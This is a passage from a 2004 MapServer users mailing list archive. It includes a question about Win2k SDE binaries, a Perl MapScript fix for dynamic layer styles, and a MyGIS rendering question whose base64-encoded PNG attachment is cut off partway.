------=_NextPart_000_001F_01C4177A.BFD62D30-- From huey.brantley at vanderbilt.edu Wed Mar 31 08:07:07 2004 From: huey.brantley at vanderbilt.edu (Huey Brantley) Date: Wed, 31 Mar 2004 10:07:07 -0600 Subject: [Mapserver-users] MapServer Binary with SDE Support Message-ID: <406AECAB.6070502@vanderbilt.edu> Is there a binary for Win2k that supports SDE? Huey Brantley Vanderbilt University From jwwilhit at srpnet.com Wed Mar 31 08:12:30 2004 From: jwwilhit at srpnet.com (WILHITE JASON W) Date: Wed, 31 Mar 2004 09:12:30 -0700 Subject: [Mapserver-users] Adding Dynamic layers in Mapscript 4.0.1 Perl Message-ID: <25D4A9F614A1964BA08A67C4FB9D3DF30109A126@srpexc2.srp.gov> That was it! Thank you very much. Although...It would seem to me that that attribute should be set to 1 by default when a class gets created. Apparently a styleObj gets created when you create the class because I was able to set the styleObj attributes all day long but the numstyles attribute remains 0. Talk about a stealth requirement. Thanks again. -Jason -----Original Message----- From: mapserver-users-admin at lists.gis.umn.edu [mailto:mapserver-users-admin at lists.gis.umn.edu] On Behalf Of John Beisley - RSG Sent: Wednesday, March 31, 2004 1:42 AM To: mapserver-users at lists.gis.umn.edu Subject: Re: [Mapserver-users] Adding Dynamic layers in Mapscript 4.0.1 Perl WILHITE JASON W wrote: > <>The static members of the map file are showing up just fine but not > the dynamic layer. I have a feeling it might be a problem with the > color assignments but for the life of me I can't figure it out. > > Does anyone have any ideas? > > Thank you, > > -Jason > I think I ran into a similar problem myself. Although I don't recall the solution, I do remember finding that calling save() on the map object to save the generated map file to disk was a very useful debugging solution. However my own code for setting the style on a line layer that I have does something similar to the following: (where $layer is a layerObj) my $layerClass = new mapscript::classObj($layer); # ... Set the values inside $layerClass ... $layerClass->{numstyles} = 1; - John -- Website: www.pml.ac.uk Registered Charity No. 1091222 Company No. 4178503 ------------------------------------------------------------------- This e-mail, its content and any file attachments are confidential. If you have received this e-mail in error please do not copy, disclose it to any third party or use the contents or attachments in any way. Please notify the sender by replying to this e-mail or e-mail forinfo at pml.ac.uk and then delete the email without making any copies or using it in any other way. The content of this message may contain personal views which are not the views of Plymouth Marine Laboratory unless specifically stated. Email transmission cannot be guaranteed to be secure or error free _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From antonio.cosenza at polito.it Wed Mar 31 08:40:42 2004 From: antonio.cosenza at polito.it (Antonio Cosenza) Date: Wed, 31 Mar 2004 18:40:42 +0200 Subject: [Mapserver-users] This is strange, isn't it?!? Message-ID: <406AF48A.70003@polito.it> This is a multi-part message in MIME format. --------------010604050809070305050804 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit hi, guys, this is my problem at moment, with mapserver and mygis. I attached 2 pictures to better explain you the problem: -italy.png is the map rendered by mapserver using the shapefile. -italy_mysql.png is the map rendered connecting to mygis. I used shp2mysql.pl (with the code hacked too!) to import the shape into mysql 3.23.49 (i'm using debian woody). Where is the problem? is it a perl script bug or the shapefile i used is not well edited?! Thanks Toni --------------010604050809070305050804 Content-Type: image/png; name="italy_mysql.png" Content-Transfer-Encoding: base64 Content-Disposition: inline; filename="italy_mysql.png" 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 